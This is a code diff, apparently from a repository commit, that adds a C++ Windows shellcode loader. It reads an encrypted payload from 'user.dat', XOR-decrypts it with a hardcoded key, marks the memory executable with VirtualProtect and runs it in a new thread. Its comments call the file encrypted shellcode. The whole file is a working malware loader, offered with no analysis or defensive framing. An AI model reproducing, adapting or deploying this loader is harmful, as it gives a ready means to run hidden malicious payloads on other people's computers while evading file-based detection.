|
| 1 | +#include <Windows.h> |
| 2 | +#include <iostream> |
| 3 | + |
| 4 | +/* |
| 5 | + Performs a simple XOR encryption/decryption on a buffer. |
| 6 | +
|
| 7 | + buffer - Pointer to the data buffer to modify. |
| 8 | + bufferSize - Size of the buffer. |
| 9 | + key - XOR key. |
| 10 | + keySize - Size of the XOR key. |
| 11 | +*/ |
| 12 | +void XorBuffer(char* buffer, size_t bufferSize, const char* key, size_t keySize) { |
| 13 | + size_t keyIndex = 0; |
| 14 | + |
| 15 | + for (size_t i = 0; i < bufferSize; i++) { |
| 16 | + buffer[i] ^= key[keyIndex]; |
| 17 | + keyIndex++; |
| 18 | + |
| 19 | + // If we reach the end of the key, wrap around |
| 20 | + if (keyIndex >= keySize - 1) { |
| 21 | + keyIndex = 0; |
| 22 | + } |
| 23 | + } |
| 24 | +} |
| 25 | + |
| 26 | +int main() { |
| 27 | + |
| 28 | + HANDLE fileHandle = nullptr; |
| 29 | + LARGE_INTEGER fileSize = { 0 }; |
| 30 | + DWORD bytesRead = 0; |
| 31 | + DWORD oldProtection = 0; |
| 32 | + void* allocatedMemory = nullptr; |
| 33 | + BOOL protectResult = 0; |
| 34 | + HANDLE threadHandle = nullptr; |
| 35 | + |
| 36 | + // XOR key used to decrypt the shellcode |
| 37 | + const char xorKey[] = "key"; |
| 38 | + |
| 39 | + // Open the encrypted payload file |
| 40 | + fileHandle = CreateFileA( |
| 41 | + "user.dat", |
| 42 | + GENERIC_READ, |
| 43 | + FILE_SHARE_READ, |
| 44 | + nullptr, |
| 45 | + OPEN_EXISTING, |
| 46 | + FILE_ATTRIBUTE_NORMAL, |
| 47 | + nullptr |
| 48 | + ); |
| 49 | + |
| 50 | + if (fileHandle == INVALID_HANDLE_VALUE) { |
| 51 | + std::cerr << "[-] Failed to open user.dat" << std::endl; |
| 52 | + return -1; |
| 53 | + } |
| 54 | + |
| 55 | + // Retrieve the file size |
| 56 | + if (!GetFileSizeEx(fileHandle, &fileSize)) { |
| 57 | + std::cerr << "[-] Could not get file size." << std::endl; |
| 58 | + CloseHandle(fileHandle); |
| 59 | + return -1; |
| 60 | + } |
| 61 | + |
| 62 | + // Allocate RW memory for the encrypted payload |
| 63 | + allocatedMemory = VirtualAlloc( |
| 64 | + nullptr, |
| 65 | + fileSize.LowPart, |
| 66 | + MEM_COMMIT | MEM_RESERVE, |
| 67 | + PAGE_READWRITE |
| 68 | + ); |
| 69 | + |
| 70 | + if (!allocatedMemory) { |
| 71 | + std::cerr << "[-] Memory allocation failed." << std::endl; |
| 72 | + CloseHandle(fileHandle); |
| 73 | + return -1; |
| 74 | + } |
| 75 | + |
| 76 | + // Read file contents into memory |
| 77 | + if (!ReadFile(fileHandle, allocatedMemory, fileSize.LowPart, &bytesRead, nullptr)) { |
| 78 | + std::cerr << "[-] Failed to read file into memory." << std::endl; |
| 79 | + CloseHandle(fileHandle); |
| 80 | + return -1; |
| 81 | + } |
| 82 | + |
| 83 | + CloseHandle(fileHandle); |
| 84 | + |
| 85 | + // Decrypt the buffer using XOR |
| 86 | + XorBuffer( |
| 87 | + reinterpret_cast<char*>(allocatedMemory), |
| 88 | + fileSize.LowPart, |
| 89 | + xorKey, |
| 90 | + sizeof(xorKey) |
| 91 | + ); |
| 92 | + |
| 93 | + // Change memory protection to executable |
| 94 | + protectResult = VirtualProtect( |
| 95 | + allocatedMemory, |
| 96 | + fileSize.LowPart, |
| 97 | + PAGE_EXECUTE_READ, |
| 98 | + &oldProtection |
| 99 | + ); |
| 100 | + |
| 101 | + if (!protectResult) { |
| 102 | + std::cerr << "[-] Failed to change memory protection." << std::endl; |
| 103 | + return -1; |
| 104 | + } |
| 105 | + |
| 106 | + // Execute the decrypted payload in a new thread |
| 107 | + threadHandle = CreateThread( |
| 108 | + nullptr, |
| 109 | + 0, |
| 110 | + reinterpret_cast<LPTHREAD_START_ROUTINE>(allocatedMemory), |
| 111 | + nullptr, |
| 112 | + 0, |
| 113 | + nullptr |
| 114 | + ); |
| 115 | + |
| 116 | + if (!threadHandle) { |
| 117 | + std::cerr << "[-] Failed to create execution thread." << std::endl; |
| 118 | + return -1; |
| 119 | + } |
| 120 | + |
| 121 | + // Wait for the thread (payload) to finish |
| 122 | + WaitForSingleObject(threadHandle, INFINITE); |
| 123 | + CloseHandle(threadHandle); |
| 124 | + |
| 125 | + return 0; |
| 126 | +} |
0 commit comments